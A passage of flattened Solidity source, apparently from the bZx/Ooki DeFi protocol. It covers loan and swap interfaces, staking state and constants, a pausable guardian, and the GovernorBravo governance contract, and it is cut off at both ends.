receiver collateral token reciever address /// @param gasTokenUser user address of the GAS token /// @param depositAmount amount of loan token to deposit denominated in loanToken /// @return loanCloseAmount loan close amount /// @return withdrawAmount loan token withdraw amount /// @return withdrawToken loan token address function closeWithDepositWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 depositAmount ) external payable returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); /// @dev close position with swap /// @param loanId id of the loan /// @param receiver collateral token reciever address /// @param gasTokenUser user address of the GAS token /// @param swapAmount amount of loan token to swap denominated in collateralToken /// @param returnTokenIsCollateral true: withdraws collateralToken, false: withdraws loanToken /// @return loanCloseAmount loan close amount /// @return withdrawAmount loan token withdraw amount /// @return withdrawToken loan token address function closeWithSwapWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 swapAmount, bool returnTokenIsCollateral, bytes calldata loanDataBytes ) external returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); ////// Loan Maintenance ////// /// @dev deposit collateral to existing loan /// @param loanId existing loan id /// @param depositAmount amount to deposit which must match msg.value if ether is sent function depositCollateral(bytes32 loanId, uint256 depositAmount) external payable; /// @dev withdraw collateral from existing loan /// @param loanId existing lona id /// @param receiver address of withdrawn tokens /// @param withdrawAmount amount to withdraw /// @return actualWithdrawAmount actual amount withdrawn function withdrawCollateral( bytes32 loanId, address receiver, uint256 withdrawAmount ) external returns (uint256 actualWithdrawAmount); /// @dev withdraw accrued interest rate for a loan given token address /// @param loanToken loan token address function withdrawAccruedInterest(address loanToken) external; /// @dev extends loan duration by depositing more collateral /// @param loanId id of the existing loan /// @param depositAmount amount to deposit /// @param useCollateral boolean whether to extend using collateral or deposit amount /// @return secondsExtended by that number of seconds loan duration was extended function extendLoanDuration( bytes32 loanId, uint256 depositAmount, bool useCollateral, bytes calldata // for future use /*loanDataBytes*/ ) external payable returns (uint256 secondsExtended); /// @dev reduces loan duration by withdrawing collateral /// @param loanId id of the existing loan /// @param receiver address to receive tokens /// @param withdrawAmount amount to withdraw /// @return secondsReduced by that number of seconds loan duration was extended function reduceLoanDuration( bytes32 loanId, address receiver, uint256 withdrawAmount ) external returns (uint256 secondsReduced); function setDepositAmount( bytes32 loanId, uint256 depositValueAsLoanToken, uint256 depositValueAsCollateralToken ) external; function claimRewards(address receiver) external returns (uint256 claimAmount); function transferLoan(bytes32 loanId, address newOwner) external; function rewardsBalanceOf(address user) external view returns (uint256 rewardsBalance); /// @dev Gets current lender interest data totals for all loans with a specific oracle and interest token /// @param lender The lender address /// @param loanToken The loan token address /// @return interestPaid The total amount of interest that has been paid to a lender so far /// @return interestPaidDate The date of the last interest pay out, or 0 if no interest has been withdrawn yet /// @return interestOwedPerDay The amount of interest the lender is earning per day /// @return interestUnPaid The total amount of interest the lender is owned and not yet withdrawn /// @return interestFeePercent The fee retained by the protocol before interest is paid to the lender /// @return principalTotal The total amount of outstading principal the lender has loaned function getLenderInterestData(address lender, address loanToken) external view returns ( uint256 interestPaid, uint256 interestPaidDate, uint256 interestOwedPerDay, uint256 interestUnPaid, uint256 interestFeePercent, uint256 principalTotal ); /// @dev Gets current interest data for a loan /// @param loanId A unique id representing the loan /// @return loanToken The loan token that interest is paid in /// @return interestOwedPerDay The amount of interest the borrower is paying per day /// @return interestDepositTotal The total amount of interest the borrower has deposited /// @return interestDepositRemaining The amount of deposited interest that is not yet owed to a lender function getLoanInterestData(bytes32 loanId) external view returns ( address loanToken, uint256 interestOwedPerDay, uint256 interestDepositTotal, uint256 interestDepositRemaining ); /// @dev gets list of loans of particular user address /// @param user address of the loans /// @param start of the index /// @param count number of loans to return /// @param loanType type of the loan: All(0), Margin(1), NonMargin(2) /// @param isLender whether to list lender loans or borrower loans /// @param unsafeOnly booleat if true return only unsafe loans that are open for liquidation /// @return loansData LoanReturnData array of loans function getUserLoans( address user, uint256 start, uint256 count, LoanType loanType, bool isLender, bool unsafeOnly ) external view returns (LoanReturnData[] memory loansData); function getUserLoansCount(address user, bool isLender) external view returns (uint256); /// @dev gets existing loan /// @param loanId id of existing loan /// @return loanData array of loans function getLoan(bytes32 loanId) external view returns (LoanReturnData memory loanData); /// @dev get current active loans in the system /// @param start of the index /// @param count number of loans to return /// @param unsafeOnly boolean if true return unsafe loan only (open for liquidation) function getActiveLoans( uint256 start, uint256 count, bool unsafeOnly ) external view returns (LoanReturnData[] memory loansData); /// @dev get current active loans in the system /// @param start of the index /// @param count number of loans to return /// @param unsafeOnly boolean if true return unsafe loan only (open for liquidation) /// @param isLiquidatable boolean if true return liquidatable loans only function getActiveLoansAdvanced( uint256 start, uint256 count, bool unsafeOnly, bool isLiquidatable ) external view returns (LoanReturnData[] memory loansData); function getActiveLoansCount() external view returns (uint256); ////// Swap External ////// /// @dev swap thru external integration /// @param sourceToken source token address /// @param destToken destintaion token address /// @param receiver address to receive tokens /// @param returnToSender TODO /// @param sourceTokenAmount source token amount /// @param requiredDestTokenAmount destination token amount /// @param swapData TODO /// @return destTokenAmountReceived destination token received /// @return sourceTokenAmountUsed source token amount used function swapExternal( address sourceToken, address destToken, address receiver, address returnToSender, uint256 sourceTokenAmount, uint256 requiredDestTokenAmount, bytes calldata swapData ) external payable returns ( uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed ); /// @dev swap thru external integration using GAS /// @param sourceToken source token address /// @param destToken destintaion token address /// @param receiver address to receive tokens /// @param returnToSender TODO /// @param gasTokenUser user address of the GAS token /// @param sourceTokenAmount source token amount /// @param requiredDestTokenAmount destination token amount /// @param swapData TODO /// @return destTokenAmountReceived destination token received /// @return sourceTokenAmountUsed source token amount used function swapExternalWithGasToken( address sourceToken, address destToken, address receiver, address returnToSender, address gasTokenUser, uint256 sourceTokenAmount, uint256 requiredDestTokenAmount, bytes calldata swapData ) external payable returns ( uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed ); /// @dev calculate simulated return of swap /// @param sourceToken source token address /// @param destToken destination token address /// @param sourceTokenAmount source token amount /// @return amoun denominated in destination token function getSwapExpectedReturn( address sourceToken, address destToken, uint256 sourceTokenAmount ) external view returns (uint256); function owner() external view returns (address); function transferOwnership(address newOwner) external; /// Guardian Interface function _isPaused(bytes4 sig) external view returns (bool isPaused); function toggleFunctionPause(bytes4 sig) external; function toggleFunctionUnPause(bytes4 sig) external; function changeGuardian(address newGuardian) external; function getGuardian() external view returns (address guardian); /// Loan Cleanup Interface function cleanupLoans( address loanToken, bytes32[] calldata loanIds) external payable returns (uint256 totalPrincipalIn); struct LoanParams { bytes32 id; bool active; address owner; address loanToken; address collateralToken; uint256 minInitialMargin; uint256 maintenanceMargin; uint256 maxLoanTerm; } struct LoanOpenData { bytes32 loanId; uint256 principal; uint256 collateral; } enum LoanType { All, Margin, NonMargin } struct LoanReturnData { bytes32 loanId; uint96 endTimestamp; address loanToken; address collateralToken; uint256 principal; uint256 collateral; uint256 interestOwedPerDay; uint256 interestDepositRemaining; uint256 startRate; uint256 startMargin; uint256 maintenanceMargin; uint256 currentMargin; uint256 maxLoanTerm; uint256 maxLiquidatable; uint256 maxSeizable; uint256 depositValueAsLoanToken; uint256 depositValueAsCollateralToken; } enum FeeClaimType { All, Lending, Trading, Borrowing } struct Loan { bytes32 id; // id of the loan bytes32 loanParamsId; // the linked loan params id bytes32 pendingTradesId; // the linked pending trades id uint256 principal; // total borrowed amount outstanding uint256 collateral; // total collateral escrowed for the loan uint256 startTimestamp; // loan start time uint256 endTimestamp; // for active loans, this is the expected loan end time, for in-active loans, is the actual (past) end time uint256 startMargin; // initial margin when the loan opened uint256 startRate; // reference rate when the loan opened for converting collateralToken to loanToken address borrower; // borrower of this loan address lender; // lender of this loan bool active; // if false, the loan has been fully closed } struct LenderInterest { uint256 principalTotal; // total borrowed amount outstanding of asset uint256 owedPerDay; // interest owed per day for all loans of asset uint256 owedTotal; // total interest owed for all loans of asset (assuming they go to full term) uint256 paidTotal; // total interest paid so far for asset uint256 updatedTimestamp; // last update } struct LoanInterest { uint256 owedPerDay; // interest owed per day for loan uint256 depositTotal; // total escrowed interest for loan uint256 updatedTimestamp; // last update } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IMasterChefSushi { struct UserInfo { uint256 amount; uint256 rewardDebt; } function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; // Info of each user that stakes LP tokens. function userInfo(uint256, address) external view returns (UserInfo memory); function pendingSushi(uint256 _pid, address _user) external view returns (uint256); } interface IStaking { struct ProposalState { uint256 proposalTime; uint256 iBZRXWeight; uint256 lpBZRXBalance; uint256 lpTotalSupply; } struct AltRewardsUserInfo { uint256 rewardsPerShare; uint256 pendingRewards; } function getCurrentFeeTokens() external view returns (address[] memory); function maxUniswapDisagreement() external view returns (uint256); function isPaused() external view returns (bool); function fundsWallet() external view returns (address); function callerRewardDivisor() external view returns (uint256); function maxCurveDisagreement() external view returns (uint256); function rewardPercent() external view returns (uint256); function addRewards(uint256 newBZRX, uint256 newStableCoin) external; function stake( address[] calldata tokens, uint256[] calldata values ) external; function unstake( address[] calldata tokens, uint256[] calldata values ) external; function earned(address account) external view returns ( uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting, uint256 sushiRewardsEarned ); function pendingCrvRewards(address account) external view returns ( uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting, uint256 sushiRewardsEarned ); function getVariableWeights() external view returns (uint256 vBZRXWeight, uint256 iBZRXWeight, uint256 LPTokenWeight); function balanceOfByAsset( address token, address account) external view returns (uint256 balance); function balanceOfByAssets( address account) external view returns ( uint256 bzrxBalance, uint256 iBZRXBalance, uint256 vBZRXBalance, uint256 LPTokenBalance, uint256 LPTokenBalanceOld ); function balanceOfStored( address account) external view returns (uint256 vestedBalance, uint256 vestingBalance); function totalSupplyStored() external view returns (uint256 supply); function vestedBalanceForAmount( uint256 tokenBalance, uint256 lastUpdate, uint256 vestingEndTime) external view returns (uint256 vested); function votingBalanceOf( address account, uint256 proposalId) external view returns (uint256 totalVotes); function votingBalanceOfNow( address account) external view returns (uint256 totalVotes); function votingFromStakedBalanceOf( address account) external view returns (uint256 totalVotes); function _setProposalVals( address account, uint256 proposalId) external returns (uint256); function exit() external; function addAltRewards(address token, uint256 amount) external; function governor() external view returns(address); } contract StakingConstants { address public constant BZRX = 0x56d811088235F11C8920698a204A5010a788f4b3; address public constant vBZRX = 0xB72B31907C1C95F3650b64b2469e08EdACeE5e8F; address public constant iBZRX = 0x18240BD9C07fA6156Ce3F3f61921cC82b2619157; address public constant LPToken = 0xa30911e072A0C88D55B5D0A0984B66b0D04569d0; // sushiswap address public constant LPTokenOld = 0xe26A220a341EAca116bDa64cF9D5638A935ae629; // balancer IERC20 public constant curve3Crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant SUSHI = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; IUniswapV2Router public constant uniswapRouter = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // sushiswap ICurve3Pool public constant curve3pool = ICurve3Pool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); IBZx public constant bZx = IBZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f); uint256 public constant cliffDuration = 15768000; // 86400 * 365 * 0.5 uint256 public constant vestingDuration = 126144000; // 86400 * 365 * 4 uint256 internal constant vestingDurationAfterCliff = 110376000; // 86400 * 365 * 3.5 uint256 internal constant vestingStartTimestamp = 1594648800; // start_time uint256 internal constant vestingCliffTimestamp = vestingStartTimestamp + cliffDuration; uint256 internal constant vestingEndTimestamp = vestingStartTimestamp + vestingDuration; uint256 internal constant _startingVBZRXBalance = 889389933e18; // 889,389,933 BZRX address internal constant SUSHI_MASTERCHEF = 0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd; uint256 internal constant BZRX_ETH_SUSHI_MASTERCHEF_PID = 188; uint256 public constant BZRXWeightStored = 1e18; ICurveMinter public constant curveMinter = ICurveMinter(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); ICurve3PoolGauge public constant curve3PoolGauge = ICurve3PoolGauge(0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A); address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52; struct DelegatedTokens { address user; uint256 BZRX; uint256 vBZRX; uint256 iBZRX; uint256 LPToken; uint256 totalVotes; } event Stake( address indexed user, address indexed token, address indexed delegate, uint256 amount ); event Unstake( address indexed user, address indexed token, address indexed delegate, uint256 amount ); event AddRewards( address indexed sender, uint256 bzrxAmount, uint256 stableCoinAmount ); event Claim( address indexed user, uint256 bzrxAmount, uint256 stableCoinAmount ); event ChangeDelegate( address indexed user, address indexed oldDelegate, address indexed newDelegate ); event WithdrawFees( address indexed sender ); event ConvertFees( address indexed sender, uint256 bzrxOutput, uint256 stableCoinOutput ); event DistributeFees( address indexed sender, uint256 bzrxRewards, uint256 stableCoinRewards ); event AddAltRewards( address indexed sender, address indexed token, uint256 amount ); event ClaimAltRewards( address indexed user, address indexed token, uint256 amount ); } contract StakingUpgradeable is Ownable { address public implementation; } contract StakingState is StakingUpgradeable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set; uint256 public constant initialCirculatingSupply = 1030000000e18 - 889389933e18; address internal constant ZERO_ADDRESS = address(0); bool public isPaused; address public fundsWallet; mapping(address => uint256) internal _totalSupplyPerToken; // token => value mapping(address => mapping(address => uint256)) internal _balancesPerToken; // token => account => value mapping(address => address) internal delegate; // user => delegate (DEPRECIATED) mapping(address => mapping(address => uint256)) internal delegatedPerToken; // token => user => value (DEPRECIATED) uint256 public bzrxPerTokenStored; mapping(address => uint256) public bzrxRewardsPerTokenPaid; // user => value mapping(address => uint256) public bzrxRewards; // user => value mapping(address => uint256) public bzrxVesting; // user => value uint256 public stableCoinPerTokenStored; mapping(address => uint256) public stableCoinRewardsPerTokenPaid; // user => value mapping(address => uint256) public stableCoinRewards; // user => value mapping(address => uint256) public stableCoinVesting; // user => value uint256 public vBZRXWeightStored; uint256 public iBZRXWeightStored; uint256 public LPTokenWeightStored; EnumerableBytes32Set.Bytes32Set internal _delegatedSet; uint256 public lastRewardsAddTime; mapping(address => uint256) public vestingLastSync; mapping(address => address[]) public swapPaths; mapping(address => uint256) public stakingRewards; uint256 public rewardPercent = 50e18; uint256 public maxUniswapDisagreement = 3e18; uint256 public maxCurveDisagreement = 3e18; uint256 public callerRewardDivisor = 100; address[] public currentFeeTokens; struct ProposalState { uint256 proposalTime; uint256 iBZRXWeight; uint256 lpBZRXBalance; uint256 lpTotalSupply; } address public governor; mapping(uint256 => ProposalState) internal _proposalState; mapping(address => uint256[]) public altRewardsRounds; // depreciated mapping(address => uint256) public altRewardsPerShare; // token => value // Token => (User => Info) mapping(address => mapping(address => IStaking.AltRewardsUserInfo)) public userAltRewardsPerShare; address public voteDelegator; } contract PausableGuardian is Ownable { // keccak256("Pausable_FunctionPause") bytes32 internal constant Pausable_FunctionPause = 0xa7143c84d793a15503da6f19bf9119a2dac94448ca45d77c8bf08f57b2e91047; // keccak256("Pausable_GuardianAddress") bytes32 internal constant Pausable_GuardianAddress = 0x80e6706973d0c59541550537fd6a33b971efad732635e6c3b99fb01006803cdf; modifier pausable { require(!_isPaused(msg.sig), "paused"); _; } function _isPaused(bytes4 sig) public view returns (bool isPaused) { bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { isPaused := sload(slot) } } function toggleFunctionPause(bytes4 sig) public { require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized"); bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { sstore(slot, 1) } } function toggleFunctionUnPause(bytes4 sig) public { // only DAO can unpause, and adding guardian temporarily require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized"); bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { sstore(slot, 0) } } function changeGuardian(address newGuardian) public { require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized"); assembly { sstore(Pausable_GuardianAddress, newGuardian) } } function getGuardian() public view returns (address guardian) { assembly { guardian := sload(Pausable_GuardianAddress) } } } contract GovernorBravoEvents { /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal /// @param voter The address which casted a vote /// @param proposalId The proposal id which was voted on /// @param support Support value for the vote. 0=against, 1=for, 2=abstain /// @param votes Number of votes which were cast by the voter /// @param reason The reason given for the vote by the voter event VoteCast(address indexed voter, uint proposalId, uint8 support, uint votes, string reason); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); /// @notice An event emitted when the voting delay is set event VotingDelaySet(uint oldVotingDelay, uint newVotingDelay); /// @notice An event emitted when the voting period is set event VotingPeriodSet(uint oldVotingPeriod, uint newVotingPeriod); /// @notice Emitted when implementation is changed event NewImplementation(address oldImplementation, address newImplementation); /// @notice Emitted when proposal threshold is set event ProposalThresholdSet(uint oldProposalThreshold, uint newProposalThreshold); /// @notice Emitted when pendingAdmin is changed event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /// @notice Emitted when pendingAdmin is accepted, which means admin is updated event NewAdmin(address oldAdmin, address newAdmin); } contract GovernorBravoDelegatorStorage { /// @notice Administrator for this contract address public admin; /// @notice Pending administrator for this contract address public pendingAdmin; /// @notice Active brains of Governor address public implementation; /// @notice The address of the Governor Guardian address public guardian; } /** * @title Storage for Governor Bravo Delegate * @notice For future upgrades, do not change GovernorBravoDelegateStorageV1. Create a new * contract which implements GovernorBravoDelegateStorageV1 and following the naming convention * GovernorBravoDelegateStorageVX. */ contract GovernorBravoDelegateStorageV1 is GovernorBravoDelegatorStorage { /// @notice The delay before voting on a proposal may take place, once proposed, in blocks uint public votingDelay; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice Initial proposal id set at become uint public initialProposalId; /// @notice The total number of proposals uint public proposalCount; /// @notice The address of the bZx Protocol Timelock TimelockInterface public timelock; /// @notice The address of the bZx governance token StakingInterface public staking; /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Current number of votes for abstaining for this proposal uint abstainVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal or abstains uint8 support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface StakingInterface { function votingBalanceOf( address account, uint proposalCount) external view returns (uint totalVotes); function votingBalanceOfNow( address account) external view returns (uint totalVotes); function _setProposalVals( address account, uint proposalCount) external returns (uint); } interface GovernorAlpha { /// @notice The total number of proposals function proposalCount() external returns (uint); } contract GovernorBravoDelegate is GovernorBravoDelegateStorageV1, GovernorBravoEvents { /// @notice The name of this contract string public constant name = "bZx Governor Bravo"; /// @notice The minimum setable proposal threshold uint public constant MIN_PROPOSAL_THRESHOLD = 5150000e18; // 5,150,000 = 0.5% of BZRX /// @notice The maximum setable proposal threshold uint public constant MAX_PROPOSAL_THRESHOLD = 20600000e18; // 20,600,000 = 2% of BZRX /// @notice The minimum setable voting period uint public constant MIN_VOTING_PERIOD = 5760; // About 24 hours /// @notice The max setable voting period uint public constant MAX_VOTING_PERIOD = 80640; // About 2 weeks /// @notice The min setable voting delay uint public constant MIN_VOTING_DELAY = 1; /// @notice The max setable voting delay uint public constant MAX_VOTING_DELAY = 40320; // About 1 week /// @notice The maximum number of actions that can be included in a proposal uint public constant proposalMaxOperations = 100; // 100 actions /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)"); mapping (uint => uint) public quorumVotesForProposal; // proposalId => quorum votes required /** * @notice Used to initialize the contract during delegator contructor * @param timelock_ The address of the Timelock * @param staking_ The address of the STAKING * @param votingPeriod_ The initial voting period * @param votingDelay_ The initial voting delay * @param proposalThreshold_ The initial proposal threshold */ function initialize(address timelock_, address staking_, uint votingPeriod_, uint votingDelay_, uint proposalThreshold_) public { require(address(timelock) == address(0), "GovernorBravo::initialize: can only initialize once"); require(msg.sender == admin, "GovernorBravo::initialize: admin only"); require(timelock_ != address(0), "GovernorBravo::initialize: invalid timelock address"); require(staking_ != address(0), "GovernorBravo::initialize: invalid STAKING address"); require(votingPeriod_ >= MIN_VOTING_PERIOD && votingPeriod_ <= MAX_VOTING_PERIOD, "GovernorBravo::initialize: invalid voting period"); require(votingDelay_ >= MIN_VOTING_DELAY && votingDelay_ <= MAX_VOTING_DELAY, "GovernorBravo::initialize: invalid voting delay"); require(proposalThreshold_ >= MIN_PROPOSAL_THRESHOLD && proposalThreshold_ <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::initialize: invalid proposal threshold"); timelock = TimelockInterface(timelock_); staking = StakingInterface(staking_); votingPeriod = votingPeriod_; votingDelay = votingDelay_; proposalThreshold = proposalThreshold_; guardian = msg.sender; } /** * @notice Function used to propose a new proposal. Sender must have delegates above the proposal threshold * @param targets Target addresses for proposal calls * @param values Eth values for proposal calls * @param signatures Function signatures for proposal calls * @param calldatas Calldatas for proposal calls * @param description String description of the proposal * @return Proposal id of new proposal */ function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorBravo::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorBravo::propose: must provide actions"); require(targets.length <= proposalMaxOperations, "GovernorBravo::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorBravo::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorBravo::propose: one live proposal per proposer, found an already pending proposal"); } uint proposalId = proposalCount + 1; require(staking._setProposalVals(msg.sender, proposalId) > proposalThreshold, "GovernorBravo::propose: proposer votes below proposal threshold"); proposalCount = proposalId; uint startBlock = add256(block.number, votingDelay); uint endBlock = add256(startBlock, votingPeriod); Proposal memory newProposal = Proposal({ id: proposalId, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, abstainVotes: 0, canceled: false, executed: false }); proposals[proposalId] = newProposal; latestProposalIds[msg.sender] = proposalId; quorumVotesForProposal[proposalId] = quorumVotes(); emit ProposalCreated(proposalId, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return proposalId; } /** * @notice Queues a proposal of state succeeded * @param proposalId The id of the proposal to queue */ function queue(uint proposalId) external { require(state(proposalId) == ProposalState.Succeeded, "GovernorBravo::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { queueOrRevertInternal(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function queueOrRevertInternal(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorBravo::queueOrRevertInternal: identical proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } /** * @notice Executes a queued proposal if eta has passed * @param proposalId The id of the proposal to execute */ function execute(uint proposalId) external payable { require(state(proposalId) == ProposalState.Queued, "GovernorBravo::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } /** * @notice Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold * @param proposalId The id of the proposal to cancel */ function cancel(uint proposalId) external { require(state(proposalId) != ProposalState.Executed, "GovernorBravo::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == proposal.proposer || staking.votingBalanceOfNow(proposal.proposer) < proposalThreshold || msg.sender == guardian, "GovernorBravo::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } /** * @notice Gets the current voting quroum * @return The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed */ // TODO: Update for OOKI. Handle OOKI surplus mint function quorumVotes() public view returns (uint256) { uint256 vestingSupply = IERC20(0x56d811088235F11C8920698a204A5010a788f4b3) // BZRX .balanceOf(0xB72B31907C1C95F3650b64b2469e08EdACeE5e8F); // vBZRX uint256 circulatingSupply = 1030000000e18 - vestingSupply; // no overflow uint256 quorum = circulatingSupply * 4 / 100; if (quorum < 15450000e18) { // min quorum is 1.5% of totalSupply quorum = 15450000e18; } return quorum; } /** * @notice Gets actions of a proposal * @param proposalId the id of the proposal * @return Targets, values, signatures, and calldatas of the proposal actions */ function getActions(uint proposalId) external view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, 